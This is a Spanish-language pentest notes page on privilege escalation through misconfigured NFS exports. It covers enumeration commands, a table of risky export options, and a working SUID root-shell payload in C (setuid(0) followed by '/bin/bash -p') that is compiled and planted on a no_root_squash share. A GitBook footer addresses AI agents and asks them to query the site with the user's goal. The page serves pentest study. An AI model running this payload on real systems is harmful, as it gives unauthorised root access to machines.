> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/nfs-shares.md).

# Recursos compartidos NFS

Notas de escalada de privilegios mediante recursos compartidos NFS para no\_root\_squash, recursos compartidos exportados escribibles, sistemas de archivos montados por el atacante y validación de payloads SUID.

Las exportaciones NFS mal configuradas pueden permitir una escalada de privilegios local cuando se exporta un recurso compartido escribible con opciones peligrosas como `no_root_squash`. En ese caso, root en la máquina atacante puede crear archivos en el recurso compartido que conservan la propiedad de root cuando se accede desde el objetivo.

## Metodología

* Enumera las exportaciones NFS desde el objetivo y la máquina atacante.
* Busca recursos compartidos escribibles y opciones de exportación peligrosas como `no_root_squash`  o  `no_all_squash`.
* Monta el recurso compartido desde una máquina atacante y crea la prueba de concepto SUID más pequeña necesaria para validar el impacto.

## Comprobaciones rápidas

En el objetivo:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

Desde una máquina atacante:

```bash
showmount -e target_ip
```

## Opciones de exportación peligrosas

| Opción                     | Riesgo                                                                                                |
| -------------------------- | ----------------------------------------------------------------------------------------------------- |
| `no_root_squash`           | Root remoto puede conservar la propiedad de root sobre los archivos creados dentro de la exportación. |
| `rw`                       | Permite escribir en el recurso compartido exportado.                                                  |
| `no_all_squash`            | Los usuarios pueden conservar su asignación original de UID/GID.                                      |
| Amplios rangos de clientes | Más hosts pueden montar e interactuar con la exportación.                                             |

## Patrón de explotación

En la máquina atacante:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

En el objetivo:

```bash
/shared/folder/privesc
```

## Notas de validación

```bash
ls -la /shared/folder/privesc
id
```

Si el binario no pertenece a root o el bit SUID no se conserva, probablemente la exportación está haciendo squash de root o montada con opciones restrictivas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
